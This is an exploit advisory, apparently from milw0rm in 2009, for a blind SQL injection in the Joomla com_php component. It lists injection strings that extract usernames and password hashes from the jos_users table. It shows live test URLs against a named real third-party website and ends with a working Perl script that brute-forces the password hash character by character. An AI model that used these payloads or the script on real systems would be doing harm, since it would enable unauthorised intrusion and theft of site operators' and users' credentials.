Joomla Component com_php (id) Blind SQL Injection Vulnerability                       
------------------------------------------------------------------------------
Joomla Component com_php (id) Blind SQL-injection Vulnerability
------------------------------------------------------------------------------


 #####################################################
 # [+] Author        :  Chip D3 Bi0s                 #
 # [+] Email         :  chipdebios[alt+64]gmail.com  #
 # [+] Vulnerability :  Blind SQL injection          #
 # [+] Group         :  LatinHackTeam                #
 #####################################################

**********************************************************************
 Info Cms:
 * @name      : PHP Component
 * @author    : gabe@fijiwebdesign.com
 * @copyright : (c) fijiwebdesign.com
 * @license   : http://www.fijiwebdesign.com/
 * @dowloand : http://code.google.com/p/joomla-php/downloads/list
**********************************************************************

Example:
http://localHost/path/index.php?option=com_php&amp;Itemid=x&amp;id=y<Sql Code>

x = number Itemid valid
y = number id valid

<Sql code>:

table jos_users:
+and+(select+1+from+jos_users+limit+0,1)=1

column password:
+and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1

column username:
+and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1

caracter ascii
+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))>57

etc, etc...

DEMO LIVE:

http://www.mercadominas.com.br/index.php?option=com_php&amp;Itemid=70&amp;id=131+and+1=1 
true

http://www.mercadominas.com.br/index.php?option=com_php&amp;Itemid=70&amp;id=131+and+1=2
else

http://www.mercadominas.com.br/index.php?option=com_php&amp;Itemid=70&amp;id=131+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))=58
else

http://www.mercadominas.com.br/index.php?option=com_php&amp;Itemid=70&amp;id=131+and+ascii(substring((SELECT+concat(password)+from+jos_users+limit+0,1),1,1))=57
true

note : in http://www.mercadominas.com.br
x = number Itemid valid    : 70
y = number id valid        : 131

Date and 1=1 &amp; not and 1=2 : com_search --->use script

etc, etc....

+++++++++++++++++++++++++++++++++++++++
#[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++

if you want to save the work, you can use the following script,	
gives you password, you are free to modify it ;)
--------------------------------------------------------------------

#!/usr/bin/perl -w
use LWP::UserAgent;
print `\t\t-------------------------------------------------------------\n\n`;
print `\t\t                      |  Chip d3 Bi0s |                       \n\n`;
print `\t\t Joomla Component com_php (id) Blind SQL-injection        \n\n`;
print `\t\t-------------------------------------------------------------\n\n`;
print `[-] http://wwww.host.org/Path: `;
chomp(my $target=<STDIN>);
print `[-] Introduce Itemid: `;
chomp($itemid=<STDIN>);
print `[-] Introduce id: `;
chomp($id=<STDIN>);
print `[-] Dato para and 1=1 &amp; no para and 1=2 : `;
chomp($z=<STDIN>);

print `[+] Password: `;
$column_name=`concat(password)`;
$table_name=`jos_users`;
$b = LWP::UserAgent->new() or die `Could not initialize browser\n`;
$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');


for ($x=1;$x<=32;$x++)
{            
  for ($c=48;$c<=57;$c++) 
{
 $host = $target . `/index.php?option=com_php&amp;Itemid=`.$itemid.`&amp;id=`.$id.`+and+ascii(substring((SELECT+`.$column_name.`+from+`.$table_name.`+limit+0,1),`.$x.`,1))=`.$c;

 my $res = $b->request(HTTP::Request->new(GET=>$host));
 my $content = $res->content;
 my $regexp = $z;
 if ($content =~ /$regexp/) {$char=chr($c); print `$char`;}
 }
for ($c=97;$c<=102;$c++) 
{
 $host = $target . `/index.php?option=com_php&amp;Itemid=`.$itemid.`&amp;id=`.$id.`+and+ascii(substring((SELECT+`.$column_name.`+from+`.$table_name.`+limit+0,1),`.$x.`,1))=`.$c;
 my $res = $b->request(HTTP::Request->new(GET=>$host));
 my $content = $res->content;
 my $regexp = $z;
 if ($content =~ /$regexp/) {$char=chr($c); print `$char`;}
 }
}

# milw0rm.com [2009-06-29]
